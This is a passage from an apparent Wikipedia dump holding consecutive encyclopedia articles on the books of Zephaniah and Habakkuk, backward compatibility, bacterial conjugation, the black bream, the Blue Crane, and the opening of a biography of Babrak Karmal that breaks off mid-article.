The superscription of the [[Book of Zephaniah]] attributes its authorship to “Zephaniah son of Cushi son of Gedaliah son of Amariah son of [[Hezekiah]], in the days of King [[Josiah]] son of Amon of [[Kingdom of Judah|Judah]]” (1:1, [[New Revised Standard Version|NRSV]]). All that is known of the author of the book comes from the text, itself. The superscription of the book is lengthier than most and contains two interesting features. The name Cushi (Zephaniah’s father) means ‘Ethiopian’. In a society where genealogy was considered extremely important (the Israelites understood [[Tetragrammaton|Yahweh]] to have made a covenant with [[Abraham]] and his descendants), the author may have felt compelled to establish his [[Hebrews|Hebrew]] lineage. In fact, this lineage is traced back to [[Hezekiah]], who was king of [[Kingdom of Judah|Judah]]. At any rate, the author of Zephaniah does not shrink from condemning the Cushites or Ethiopians. Chapter 2:12 contains a succinct but unequivocal message: “You also, O Ethiopians, / Shall be killed by my sword.” Zephaniah’s familial connection with King [[Hezekiah]] may have also legitimized his harsh indictment of the royal city in 3:1-7.

As with many of the other prophets, there is no external evidence to directly associate composition of the book with a prophet by the name of Zephaniah. Some scholars believe that much of the material does not date from the days of King [[Josiah]] (ca. 640-609 BCE), but is actually post-monarchic. Three general possibilities are that: a person (possibly named Zephaniah) prophesied the words of the book of Zephaniah; the general message of a Josianic prophet is conveyed through the book of Zephaniah, or the name could have been employed (either during the monarchic or post-monarchic period) as a ‘speaking voice’, possibly for rhetorical purposes. Although it is possible that a post-monarchic author assumed the persona of a monarchic prophet to add credibility to his message, there is no evidence to support such a claim.

The prophetic book of the Bible attributed to Zephaniah occurs ninth among the twelve [[minor prophet|minor prophets]], preceded by [[Book of Habakkuk|Habakkuk]] and followed by [[Book of Haggai|Haggai]]. Zephaniah (or Tzfanya, Sophonias, &amp;#1510;&amp;#1508;&amp;#1504;&amp;#1497;&amp;#1492;, &amp;#7826;&amp;#601;fanya, &amp;#7778;&amp;#601;p&amp;#772;any&amp;#257;h) means 'the Lord conceals', 'the Lord protects' or, possibly, 'God of darkness'.

==When was it written?==
If the superscription of the book of Zephaniah is a reliable indicator of the time that the bulk of the book was composed, then Zephaniah was a contemporary of the prophet [[Book of Jeremiah|Jeremiah]] (or Jeremias). King [[Josiah]] ruled over [[Kingdom of Judah|Judah]] from approximately 640-609 BCE. Some scholars believe that the picture of [[Jerusalem]] which Zephaniah gives indicates that he was active prior to the religious reforms of King Josiah which are described in 2 [[Books of Kings|Kings]] 23. These reforms took place in 622 BCE.  Scholars also cite the reference to “the officials and the king’s sons . . .” in 1:8 as evidence that the kingdom was still ruled by a regent for the Josiah. The portrait of foreign nations in chapter 2 also indicates the late seventh century.

Zephaniah was probably the first prophet following the prophecies of [[Book of Isaiah|Isaiah]] and the violent reign of [[Manasseh]]. Both Zephaniah and [[Book of Jeremiah|Jeremiah]] urged King [[Josiah]] to enact religious reforms, which he eventually did.

Other scholars have presented evidence pointing to a post-monarchic date (as late as 200 BCE) based on language and theme, although the book might still have been based on an earlier composition.

==Where was it written==
The author of Zephaniah describes the city of [[Jerusalem]] in considerable detail. The author of Zephaniah writes that “a cry will be heard from the Fish Gate, / a wail from the Second Quarter, / a loud crash on the hills. / The inhabitants of the Mortar wail, for all the traders have perished . . .” (1:10-11). His description of the geography and of the offenses being committed in [[Jerusalem]] indicate first-hand knowledge. Because the book most directly effects the inhabitants of [[Jerusalem]], it is probable that this is where the book was composed.

==Why was it written==
There are two possible reasons for the creation of the book of Zephaniah. Either way, the primary purpose of the book’s composition was to alter the behaviour (particularly religious behaviour) of the author’s contemporary Jerusalemites. 

If the book of Zephaniah was largely composed during the monarchic period, the author of the book of Zephaniah attempts to accomplish this change in behaviour through the threat of future calamity for “those who have turned back from following the Lord, / who have not sought the Lord or inquired of him” (1:6). The author conceives of a date in the future – the ‘great day of the Lord’ – when [[Tetragrammaton|Yahweh]] will judge all the people of the earth. This coming judgment will affect all of the nations, including the author’s own nation of [[Kingdom of Judah|Judah]] where [[Tetragrammaton|Yahweh]] is understood to reside. The threats made against [[Jerusalem]], however, are much more specific than the oracles concerning foreign nations. This strengthened the belief that the Israelites, who understood themselves to be God’s chosen people, were even more culpable than other peoples for living up to [[Tetragrammaton|Yahweh]]’s statutes because they were to be a ‘light unto the nations’. The book concludes by extending a promise of deliverance to the remnant of [[Israel]] which remains. The fulfilment of this prophecy is commonly understood to have taken place when [[Kingdom of Judah|Judah]] was captured by the nation of [[Babylon]] and many of its inhabitants were exiled in an event known as the [[Babylonian captivity]].

If the book gained most of its present form in post-monarchic period, then the author likely intended to draw upon an understanding of the [[Babylonian captivity]] as a punishment from [[Tetragrammaton|Yahweh]], urging his own contemporaries not to repeat the mistakes of the past. It is not known whether the religious syncretism, alluded to in chapter one, was a significant issue in post-exilic [[Kingdom of Judah|Judah]].

==What are the themes of the book?==
The book of Zephaniah consists of three chapters in the [[Hebrew language|Hebrew]] [[Masoretic Text]]. In English versions, the book is divided into four chapters. The [[New Revised Standard Version]] of the Bible supplies headings for the book as follows:

{| class=&quot;wikitable&quot;
|+ Verse/Chapter Headings in the NRSV
|-
! Verse Reference !! Heading
|-
| 1:1 || (Superscription)
|-
| 1:2-13 || The Coming Judgment on [[Kingdom of Judah|Judah]]
|-
| 1:14-18 || [[Last Judgement|The Great Day of the Lord]]
|-
| 2:1-15 || Judgment on [[Israel]]'s Enemies
|-
| 3:1-7 || The Wickedness of [[Jerusalem]]
|-
| 3:8-13 || Punishment and Conversion of the Nations
|-
| 3:14-20 || Song of Joy
|}

It is important to note that there are a number of different sub-divisions in use for the text with no clear consensus.

Despite its relatively short length, the book of Zephaniah incorporates a number of common prophetic themes. Zephaniah includes one of the most vivid descriptions in the prophetic literature of God’s wrath. Yet, it is also unequivocal in its proclamation of a restoration for those who survive the ‘[[Last Judgement|Great Day of the Lord]]'.

The book of Zephaniah incorporates a good deal of phrases and terminology which are found in other books of the Bible. This suggests that the author of Zephaniah was familiar with and drew upon earlier Israelite religious tradition and also that later biblical writers regarded the book of Zephaniah as an authoritative (or at least respectable) work in the prophetic corpus. 

The book of Zephaniah draws upon several themes from the book of [[Genesis]] and reverses them. The opening verses of the book of Zephaniah are reminiscent both of the creation and of [[Noah]]’s flood. Chapter 1:2-3 declare that “I will sweep away everything / from the face of the earth says the Lord. / I will sweep away humans and animals; I will sweep away the birds of the air / and the fish of the sea.” The order of the creatures to be destroyed in Zephaniah is the opposite of the order in which they are created in Genesis 1:20-27. It is also worth noting than in both Noah’s flood and Zephaniah’s [[Last Judgement|Day of the Lord]], a ‘remnant’ survives God’s wrath.

It is also not surprising that the book of Zephaniah bears marked similarities to the book of [[Deuteronomy]] and the Deuteronomistic history. Similarities might be expected to each of these works because the Deuteronomistic history covers an overlapping period of time and because the issues which are dealt with in the book of Zephaniah go straight to the heart of the covenant which is reaffirmed in the book of Deuteronomy before Israel enters into the [[Promised Land]] of [[Canaan]]. The first 3-4 of the [[Ten Commandments]] (or Ten Words, Decalogue) contained in Exodus 20:1-17 and Deuteronomy 5:1-22 directly concern Israel’s relationship with [[Yahweh]]. It is this integral component of the covenant between [[Tetragrammaton|Yahweh]] and [[Israel]] which is threatened by the practices which to which the author of the book of Zephaniah refers in 1:4-6. In this manner, Zephaniah invokes one of the most common themes, not only in prophetic literature, but in the whole of the [[Hebrew Bible|Hebrew Scriptures]].

Zephaniah also draws upon the emerging idea that [[Tetragrammaton|Yahweh]] is quite different from the regional or tribal gods of the surrounding nations. Rather, [[Tetragrammaton|Yahweh]] is beginning to be understood as the only God and the God who rules over all nations. It was an apparently unique belief in the ancient [[Middle East]] that a god could send a foreign nation to execute that god’s judgment (as the Israelites believed [[Tetragrammaton|Yahweh]] did with [[Babylon]]). In the book of Zephaniah, all nations are portrayed as being subject to [[Tetragrammaton|Yahweh]]’s divine judgment.

The book of Zephaniah also interacts with the prophetic tradition – both borrowing from and contributing to the corpus in terms of language and images.


----
'''See also:'''
* [http://www.jewishencyclopedia.com/view.jsp?artid=106&amp;letter=Z Zephaniah at JewishEncyclopedia.com]
* [http://www.newadvent.org/cathen/14146a.htm Sophonias (Zephaniah) at Catholic Encyclopedia]


'''Translations of the book of Zephaniah:'''

*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15766 Tzefaniah - Zephaniah (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
**{{biblegateway||Zephaniah}}
** [http://bible.crosswalk.com/OnlineStudyBible/bible.cgi?passage=zep+1 ''Zephaniah'' at CrossWalk.com] (various versions)
** [http://www.anova.org/sev/htm/hb/36_zephaniah.htm ''Zephaniah'' at The Great Books] (New Revised Standard Version)
** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Zephaniah ''Zephaniah'' at Wikisource] (Authorised King James Version)

----
'''References:'''
* Berlin, Adele. ''Zephaniah: A New Translation with Introduction and Commentary''. The Anchor Bible Volume 25A. Toronto: Doubleday, 1994.
* Easton's Bible Dictionary, 1897.
* Faulhaber, M. &quot;Sophonias (Zephaniah).&quot; ''[http://www.newadvent.org/cathen/ Catholic Encyclopedia]''. Transcribed by Thomas M. Barrett. 2003.
* Hirsch, Emil G. &amp; Ira Maurice Price. &quot;Zephaniah.&quot; ''[http://www.jewishencyclopedia.com/ JewishEncyclopedia.com]''. 2002.
* LaSor, William Sanford et al. ''Old Testament Survey: the Message, Form, and Background of the Old Testament''. Grand Rapids: William B. Eerdmans, 1996.
* Sweeney, Marvin A. ''Zephaniah: A Commentary''. Ed. Paul D. Hanson. Minneapolis, Fortress Press, 2003.

----
''Prepared in 2005 for the course BIBL5023 at [[Acadia Divinity College]]''

[[Category:Christian prophets|Zephaniah]]
[[Category:Nevi'im|Zephaniah]]
[[Category:Old Testament books|Zephaniah]]
[[Category:Tanakh prophets|Zephaniah]]

[[cs:Kniha Sofonjáš]]
[[de:Zefanja (Buch)]]
[[fr:Livre de Sophonie]]
[[ko:스바니야 (구약성서)]]
[[id:Zefanya]]
[[he:צפניה]]
[[jv:Zefanya]]
[[nl:Zefanja]]
[[pl:Księga Sofoniasza]]
[[fi:Sefanjan kirja]]
[[sv:Sefanja]]
[[zh:西番雅書]]</text>
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    <title>Book of Habakkuk</title>
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      <text xml:space="preserve">{{Books of Nevi'im}}
==The Prophet==
There is not much biographical information on the prophet [[Habakkuk]]; in fact less is known about this prophet than any other. His name comes from the Akkadian word meaning to &quot;embrace&quot; or &quot;wrestle&quot;. His name is also mentioned in the apocryphal book &lt;i&gt;[[Bel and the Dragon]]&lt;/i&gt;. In the superscription of the Old Greek version Habakkuk is called the son of Joshua of the tribe of Levi. In this book Habakkuk is lifted by an angel to Babylon to provide Daniel with some food while he is in the lion's den.&lt;br&gt;
Due to the liturgical nature of Habakkuk, there have been some scholars who think that Habakkuk may have been a temple prophet. Temple prophets are described in 1 Chronicles 25:1 as using lyres, harps and cymbals. Some feel that this may be echoed in Habakkuk 3:19b.

==Historical Context==
At this time we do not know when Habakkuk lived and preached. However one clue to the date of Habakkuk's work is the reference to the rise and advance of the ''Chaldeans'' in 1:6 -11, which locates it in the last quarter of the 7th century B.C. One possible period might be during the reign of [[Jehoiakim]], who reigned from 609 -598 BC. The reasoning for this date is that during his reign that the Babylonians were growing in power. The Babylonians marched against Jerusalem in 598 where Jehoiakim was killed and there is a sense of an intimate knowledge of the Babylonian brutality in 1:12 -17.

==Overview of Contents==

The book of '''Habakkuk''' is a book of the [[Bible]] [[Old Testament]] and stands eighth in a section known as the 12 Minor Prophets in the Masoretic and Greek texts. It follows Nahum and precedes Zephaniah, who are considered to be his contemporaries.

The book consists of three chapters and the book is neatly divided into three different genres:

*A discussion between God and Habakkuk
**An Oracle of Woe
***A Psalm

A breakdown of the book's structure looks this way:&lt;br&gt;
I.	Title (1:1) &lt;br&gt;
II.	The Problem of Unpunished wickedness (1:2 – 4)&lt;br&gt;
III.	God's first response (1:5 – 11)&lt;br&gt;
IV.	The problem of excessive punishment (1:12 – 17)&lt;br&gt;
V.	Awaiting an Answer (2:1)&lt;br&gt;
VI.	God’s second response  (2:2 – 20)&lt;br&gt;
:A.	A vision (2:2 -5)&lt;br&gt;
::i.	Announcement (2:2 -3)&lt;br&gt;
::ii.	Life and Death (2:4 -5)&lt;br&gt;
:B.	Taunting woes (2:6 – 20)&lt;br&gt;
::i.	The pillager (2: 6 -8)&lt;br&gt;
::ii.	The plotter (2:9 – 11)&lt;br&gt;
::iii.	The promoter of violence (2:12 -14)&lt;br&gt;
::iv.	The debaucher (2:15 -17)&lt;br&gt;
::v.	The pagan idolator (2:18 -20)&lt;br&gt;
VII.	Habakkuk’s Psalm (3:1 -19)&lt;br&gt;
:A.	Musical notes (3:1, 19b)&lt;br&gt;
:B.	Petition (3:2)&lt;br&gt;
:C.	God’s powerful presence in history (3:3 – 15)&lt;br&gt;
::i.	God’s coming (3:3 -7)&lt;br&gt;
::ii.	God’s combat (3:8 – 15)&lt;br&gt;
:D.	Fear and Faith (3:16 – 19a)&lt;br&gt;

==Themes==

The major theme of Habakkuk is trying to grow from a faith of perplexity and doubt to the height of absolute trust in God. Habakkuk addresses his concerns over the fact that the punishment for Judah's sins is going to be executed by what was thought to be a sinful nation in Habakkuk's eyes.

==External links==
*[[Judaism|Jewish]] translations:
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15765 Chavakuk - Habakkuk (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org  

*[[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/35_habakkuk.htm ''Habakkuk'' at The Great Books] (New Revised Standard Version)
** {{biblegateway||Habakkuk}}
** [http://wikisource.org/wiki/Bible%2C_English%2C_King_James%2C_Habakkuk ''Habakkuk'' at Wikisource] (Authorised King James Version)

http://www.aboutbibleprophecy.com &lt;br&gt;
http://www.apostolic.net/biblicalstudies/habakkuk

==Sources==

Baker, David W.'' Nahum, Habakkuk and Zephaniah''. (Downers Grove: Intervarsity Press. 1988.)&lt;br&gt;
Clark, David J., Howard A. Hatton. ''A Translator’s Handbook on The Books of Nahum, Habakkuk and Zephaniah''. (New York: United Bible Societies. 1989.)&lt;br&gt;
Gowan, Donald E., ''The Triumph of Faith in Habakkuk''. (Atlanta: John Knox Press. 1976.)&lt;br&gt;
Henderson, Ebenezer. ''The Twelve Minor Prophets''. (Grand Rapids: Baker Book House. 1980.)&lt;br&gt;
Hailey, Homer, ''A Commentary on The Minor Prophets''. (Grand Rapids: Baker Book House. 1972.)&lt;br&gt;
LaSor, William, David Allen Hubbard, Frederic Bush,''Old Testament Survey'' (Grand Rapids: William B. Eerdmans. 1996.)&lt;br&gt;
McComiskey, Thomas Edward, ''The Minor Prophets''. (Grand Rapids: Baker Book House.1993.)&lt;br&gt;
Smith, Ralph L., ''Word Biblical Commentary''. (Waco: Words Books. 1984.)&lt;br&gt;



[[Category:Nevi'im|Habakkuk, Book of]]
[[Category:Old Testament books|Habakkuk]]

[[cs:Kniha Abakuk]]
[[de:Habakuk (Buch)]]
[[fr:Livre de Habacuc]]
[[ko:&amp;#54616;&amp;#48148;&amp;#44985; (&amp;#44396;&amp;#50557;&amp;#49457;&amp;#49436;)]]
[[he:&amp;#1505;&amp;#1508;&amp;#1512; &amp;#1495;&amp;#1489;&amp;#1511;&amp;#1493;&amp;#1511;]]
[[nl:Habakuk]]
[[pl:Księga Habakuka]]
[[ja:&amp;#12495;&amp;#12496;&amp;#12463;&amp;#12463;&amp;#26360;]]
[[pt:Habacuque]]
[[fi:Habakukin kirja]]
[[sv:Habackuk]]
[[zh:哈巴谷書]]</text>
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  <page>
    <title>Backward compatibility</title>
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      <text xml:space="preserve">In [[technology]], especially [[computing]], a product is said to be '''backward compatible''' (or '''downward compatible''') when it is able to take the place of an older product, by interoperating with other products that were designed for the older product.

Backward compatibility is a relationship between two components, rather than being an attribute of just one of them. More generally, the following criteria needs to be met:
* There is a defined functional interface &quot;I&quot;.
* There is a server component &quot;S&quot; which provides the functionality of I.
* There is a client component &quot;C&quot; which depends on S via I.
* A new server component &quot;S2&quot; is created which has greater functionality than S and which it exposes via a new interface &quot;I2&quot;.
* All the functions of I are also provided by S2. In other words, I is a subset of I2.
When these criteria are met, S2 is backwards compatible with S because it still supports interface I and therefore the client C can be switched over to use S2 and still operate correctly.

''Backward'' compatibility is the special case of compatibility in which the new server has a direct historical ancestral relationship with the old server. If this special relationship does not exist then it not usually spoken of as &quot;backward&quot; compatibility but is instead just &quot;compatible&quot; - a consistent interface allowing interoperability between components and products that were each developed separately.

Data does nothing in the absence of an interpreter, so the notion of compatibility does not apply to document files, it only applies to software. In the case of a program that creates document files, a new version of that program (&quot;v2&quot;) is said to be backwards compatible with the old version of the program (&quot;v1&quot;) when it can both read and write documents that work with v1. Everything that v1 could do must also be possible with v2, including saving documents that can be read by v1. In that case, if the criteria outlined earlier is applied, the interface &quot;I&quot; supported by both software versions is actually their common document format. The metaphor is completed by observing that S2 is v2 and C is v1. The old version would have performed the roles of both S and C consecutively, because using v1 to open a previously saved document is functionally equivalent to v1 requesting data from an earlier instance of v1 via an interpreter interface I that both reads and writes files.

If a newer software version cannot save files that can be read by the older version it is not backwards compatible with the older version, although it may provide an irreversible upgrade capability for the old files. This situation has often been used strategically by software vendors to force customers to purchase upgrades since, over time, the number of data files usable by an old version diminishes at a rate proportional to the number of other customers that have upgraded.

Levels of compatibility vary. In software, ''binary compatibility'' and ''[[source-compatibility]]'' are distinguishable. Binary compatibility means that programs can work correctly with the new version of this library without requiring [[compiler|recompilation]]. Source compatibility requires recompilation but no changes to the source code.

Many platforms rely on [[emulation]], the simulation of an older platform in software, to achieve backward compatibility.

== Examples ==
*A [[computer system]] is backward compatible if it is able to work with software or accessories designed for the system it is meant to replace.
** The [[Atari 7800]] is backward compatible with most [[Atari 2600]] games.
** The [[Game Boy Advance]] is backward compatible with previous [[Game Boy]] systems, meaning all [[Game Boy]] &amp; [[Game Boy Color]] titles are playable on this system.
** The [[PlayStation 2]] is backward compatible with the original [[PlayStation]].
** The [[Nintendo DS]] is backward compatible with [[Game Boy Advance]] games only.
** The [[PlayStation 3]] will be backward compatible with PlayStation 1 &amp; 2 games.
** The [[Intel 80486]] processor is backward compatible with the [[Intel 80386|80386]] because it can execute programs written for the 80386.
** The [[Xbox 360]] is backward compatible with some [[Xbox]] games. Support for this function will improve over time.
** The [[Nintendo Revolution]] will be backward compatible with every [[Nintendo]] system. The [[GameCube]] discs can go in the Revolution, but older games ([[Nintendo Entertainment System|NES]], [[Super Nintendo Entertainment System|SNES]] and [[Nintendo 64]]) will be available through download.
*Other examples of backward-compatible software
** [[Microsoft Word]] 2000 was backward compatible with Word '97 because it could read and write files in Word '97 format, with the understanding that features unique to Word 2000 would not appear in Word '97.
** By adding the proper external software, many consoles can become backwards compatible. This includes:
*** The [[Atari 5200]] can play [[Atari 2600]] games by adding the &quot;Atari VCS Cartridge Adapter&quot;.
*** The [[Colecovision]] can play [[Atari 2600]] games by adding an &quot;Expansion Module #1&quot;.
*** The [[Sega Genesis]] can play [[Sega Master System]] games by adding a &quot;Power Base Converter&quot;.
*** The [[Sega Game Gear]] can play [[Sega Master System]] games by adding a &quot;Master Gear&quot;.
*** The [[Super Nintendo]] can play [[Game Boy]] games by adding a &quot;[[Super Game Boy]]&quot; cartridge
*** The [[Nintendo Gamecube]] can play any existing game from the [[Game Boy]] line by adding a &quot;[[Game Boy Player]]&quot; add-on and disc.

==See also== 
*[[Forward compatibility]]
*[[Legacy system]]

[[Category:Computing terminology]]

[[io:Retro konciliebla]]
[[ja:下位互換]]
[[ru:Обратная совместимость]]</text>
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  <page>
    <title>Bacterial conjugation</title>
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      <text xml:space="preserve">'''Bacterial conjugation''' is the transfer of genetic material between bacteria through cell-to-cell contact. It is a mechanism of [[horizontal gene transfer, as are [[transformation (genetics)|transformation]] and [[transfection]], although these mechanisms do not involve cell contact. This is a rare occurrance in bacteria, but is more common in [[panmictic|panmictic populations]].

Bacterial conjugation is often incorrectly regarded as the [[bacterium|bacteria]]l equivalent of [[sexual reproduction]] or [[mating]]. It is not actually sexual, as it does not involve the fusing of [[gamete]]s and the creation of a [[zygote]]. It is merely the transfer of genetic information from a donor cell to a recipient. In order to perform conjugation, one of the bacteria, the ''donor'', must play host to a conjugative or mobilizable genetic element, most often a conjugative [[plasmid]]. Most conjugative plasmids have systems ensuring that the ''recipient'' cell does not already contain a similar element.  

The genetic information transferred can be beneficial to the recipient, such as in conferring [[antibiotic resistance]], or an enzyme that allows it to better digest its medium. However these elements can also be viewed as genetic parasites on the bacterium, and conjugation as a mechanism evolved by the element to spread itself into new hosts. 

==Mechanism==

[[image:conjugative_plasmids.png|right|frame|Schematic drawing of bacterial conjugation. 1 &lt;font color=&quot;#009900&quot;&gt;Chromosomal DNA&lt;/font&gt;. 2 &lt;font color=&quot;#990000&quot;&gt;Plasmids&lt;/font&gt;. 3 [[Pilus]].]]
The [[prototype]] for conjugative plasmids is the '''[[F-plasmid]]''', also called the F-factor. The F-plasmid is an [[episome]] (a plasmid that can integrate itself into the bacterial [[chromosome]] by [[genetic recombination]]) of about 100 kb length. (One kb is one thousand [[base pair]]s) It carries its own [[origin of replication]], called ''oriV''. There can only be one copy of the F-plasmid in a bacterium (which is then called ''F-positive''), either free or integrated.

Among other genetic information, the F-plasmid carries a ''tra'' and a ''trb'' [[locus]], which together are about 33 kb long and consist of about 40 [[gene]]s. The ''tra'' locus includes the ''pilin'' gene and regulatory genes, which together form [[pilus|pili]] on the cell surface, polymeric [[protein]]s that can attach themselves to the surface of ''F-negative'' bacteria and initiate the mating. Though there is some debate on the issue, the pili themselves do not seem to be the structures through which the actual exchange of DNA takes place; rather, some proteins coded in the ''tra'' or ''trb'' loci seem to open a channel between the bacteria.

When conjugation is initiated, via a mating signal, a complex of proteins called the '''relaxosome''' creates a [[nick (DNA)|nick]] in one plasmid DNA strand at the origin of transfer, or ''oriT''. In the F-plasmid system, the relaxosome consists of proteins TraI, TraY, TraM, and the integrated host factor, IHF. The transferred, or ''T-strand'', is unwound from the duplex and transferred into the recipient bacterium in a 5'-terminus to 3'-terminus direction. The remaining strand is replicated, either independent of conjugative action (vegetative replication, beginning at the ''oriV'') or in concert with conjugation (conjugative replication similar to the [[rolling circle]] replication of [[lambda phage]]).

If the F-plasmid becomes integrated into the host genome, donor chromosomal DNA may be transferred along with plasmid DNA. The amount of chromosomal DNA that is transferred depends on how long the bacteria remain in contact; for common laboratory strains of ''[[Escherichia coli|E. coli]]'' the transfer of the entire bacterial chromosome takes about 100 minutes. The transferred DNA can be integrated into the recipient genome via recombination.

A culture of cells containing non-integrated F plasmids usually contains a few that have accidentally become integrated, and these are responsible for the low-frequency of chromosomal gene transfer by such cultures. Strains of bacteria with an integrated F-plasmid can be isolated and grown in pure culture.  Because such strains transfer chromosomal genes very efficiently, they are called '''Hfr''' ('''h'''igh '''f'''requency of '''r'''ecombination). The ''E. coli'' [[genome]] was originally mapped by interrupted mating experiments, in which various Hfr cells in the process of conjugation were sheared from recipients after less than 100 minutes (initially using a Waring blender) and investigating which genes were transferred.

==See also ==
*[[biology]]
*[[genetics]]
*[[horizontal gene transfer]]
**[[transformation (genetics)|transformation]]
**[[transfection]]
*[[antibiotic resistance]]
*[[plasmid]]

[[Category:Molecular biology]]
[[Category:Biotechnology]]

[[he:קוניוגציה]]
[[de:Konjugation_(Biologie)]]</text>
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    <title>Black bream</title>
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      <minor />
      <comment>[[Animalia]] disambiguation</comment>
      <text xml:space="preserve">{{Taxobox | color = pink
| name = Black bream
| regnum = [[Animal|Animalia]]
| phylum = [[Chordata]]
| classis = [[Actinopterygii]]
| ordo = [[Perciformes]]
| familia = [[Dichistiidae]]
| genus = ''[[Dichistius]]''
| species = '''''D. capensis'''''
| binomial = ''Dichistius capensis''
}}

A '''black bream''' is a kind of marine [[fish]] (''Dichistius capensis'', synonym ''Coracinus capensis'') that is found only along the coast of [[South Africa]]. Length up to 55 cm, weight up to 7 kg.

The fish is also known as '''blackfish''' and '''galjoen'''.

The black bream is the national fish of South Africa.

==References==
* {{ITIS|ID=645499|taxon=Dichistius capensis|year=2006|date=30 January}}
* {{FishBase_species|genus=Dichistius|species=capensis|year=2005|month=10}}


{{fish-stub}}

[[Category:Dichistiidae]]

[[ja:クロダイ]]</text>
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  <page>
    <title>Blue Crane</title>
    <id>4462</id>
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      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Blue Crane
| status = {{StatusVulnerable}}
| image = Blue_Crane.jpg
| image_width = 300px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[bird|Aves]]
| ordo = [[crane (bird)|Gruiformes]]
| familia = [[Gruidae]]
| genus = ''[[Anthropoides]]''
| species = '''''A. paradisea'''''
| binomial = ''Anthropoides paradisea''
| binomial_authority = ([[Anton August Heinrich Lichtenstein|Lichtenstein,AAH]], [[1793]])
}}

The '''Blue Crane''' (''Anthropoides paradisea''), also known as the '''Stanley Crane''' and the '''Paradise Crane''', is the national bird of [[South Africa]]. It is a tall, ground-dwelling [[bird]] of the [[crane (bird)|crane]] family which stands a little over a metre high and is pale blue-gray in colour with a white crown, a pink bill, and long, dark dark gray wingtip feathers which trail to the ground. 

Blue Cranes are birds of the dry, grassy uplands which feed on seeds and insects and spend little time in wetlands. They are altitudinal migrants, generally nesting in the upper grasslands and moving down to lower altitudes for winter. Many occupy agricultural areas.

Of the 15 species of crane, the Blue Crane has the most restricted distribution of all. While it remains common in parts of its historic range, and between 10,000 and 20,000 birds remain, it began a sudden population decline from around [[1980]] and is now classified as critically endangered. 

In the last two decades, the Blue Crane has largely disappeared from the [[Eastern Cape Province|Eastern Cape]], [[Lesotho]], and [[Swaziland]]. The population in the northern [[Free State Province|Free State]], [[KwaZulu-Natal Province|KwaZulu-Natal]], [[Limpopo Province|Limpopo]], [[Gauteng Province|Gauteng]], [[Mpumalanga Province|Mpumalanga]] and [[North West Province]] has declined by up to 90%. The majority of the remaining population is in eastern and southern South Africa, with a small and separate population in the [[Etosha Pan]] of northern [[Namibia]]. Occasionally, isolated breeding pairs are found in five neighboring countries.

The primary causes of the sudden decline of the Blue Crane are human population growth, the conversion of grasslands into commercial tree plantations, and poisoning: deliberate (to protect crops) or accidental (baits intended for other species, and as a side-effect of [[crop dusting]]. 

The South African government has stepped up legal protection for the Blue Crane. Other conservation measures are focussing on research, habitat management, education, and recruiting the help of private landowners.

The Blue Crane is a bird very special to the amaXhosa, who call it indwe. When a man distinguished himself by deeds of valour, or any form of meritorious conduct, he was often decorated by a chief by being presented with the feathers of this bird. After a battle, the chief would organise a ceremony called ukundzabela – a ceremony for the heroes, at which feathers would be presented. Men so honoured – they wore the feathers sticking out of their hair – were known as men of ugaba (trouble) - the implication being that if trouble arose, these men would reinstate peace and order.

==Media==
Videos of the Blue Crane at Disney's Animal Kingdom.

{{multi-video start}}
{{multi-video item|filename=Anthropoides_paradisea1.ogg|title=Anthropoides paradisea #1|description=|format=[[Ogg]]}}
{{multi-video item|filename=Anthropoides_paradisea2.ogg|title=Anthropoides paradisea #2|description= |format=[[Ogg]]}}
{{multi-video item|filename=Anthropoides_paradisea3.ogg|title=Anthropoides paradisea #3|description= |format=[[Ogg]]}}
{{multi-video end}}

==External links==
*[http://www.savingcranes.org/species/blue.cfm International Crane Foundation's Blue Crane page]
*[http://www.razsar.com/Natural%20world/B%20Crane%20Blue.htm The Blue Crane in the Northern Cape, South Africa]

[[Category:Anthropoides]]
[[Category:Wildlife of Africa]]

[[af:Bloukraanvoël]]
[[nl:Paradijskraanvogel]]</text>
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  <page>
    <title>Babrak Karmal</title>
    <id>4463</id>
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      <text xml:space="preserve">{| align=&quot;right&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;border: 1px solid; margin-left: 1em&quot;
|+ '''Babrak Karmal'''
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; |[[Image:Karmal.gif|Babrak Karmal]]
|-
! Date of Birth:
| [[January 6]], [[1929]]
|-
! Date of Death:
| [[September 27]], [[1996]]
|-
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; | [[President of Afghanistan]]
|-
! Tenure Order:
| 4th President of the Republic
'''( 3th President of the DRA )'''
|-
! Took Office:
|  December 1979 &amp;ndash; October 1986 
|-
! Predecessor:
| [[Hafizullah Amin]]
|-
! Successor:
| [[Mohammad Najibullah]]
|-
! bgcolor=&quot;#efefef&quot; colspan=&quot;2&quot; | [[Prime Minister of Afghanistan]]
|-
! Tenure Order:
| 7th Prime Minister
'''( 3th Premier of the DRA )'''
|-
! Took Office:
|  October 1986 &amp;ndash; April 1992
|-
! Predecessor:
| [[Hafizullah Amin]]
|-
! Successor:
| Sultan Ali Keshtmand 
|}

'''Babrak Karmal''' ([[January 6]], [[1929]] - [[December 3]], [[1996]]) was the third President of [[Afghanistan]] ([[1980]] - [[1986]]) during the period of the communist [[Democratic Republic of Afghanistan]]. He was an elegant actor, an expert propagandist, and the best known of the [[Marxist]] leadership. 

Having been restored to power with [[Soviet]] support, he was unable to consolidate his power and, in 1986, he was replaced by Dr. [[Mohammad Najibullah]]. He left [[Afghanistan]] for [[Moscow]], but returned to [[Kabul]] in 1989.  He died in [[Moscow]].


==Early years==

The son of a well-connected army general, although born into a wealthy Tajikized family of Kashmir origin in the village of Kamari (east of [[Kabul]]), Babrak Karmal lived in hardship following the death of his mother. 

He was an indifferent student in high school and in the law school of [[Kabul University]], quickly gained a reputation as an orator and activist in the university’s student union in 1951. He became involved in Marxist political activities while a student at [[Kabul University]], and was imprisoned for five years as a result. 

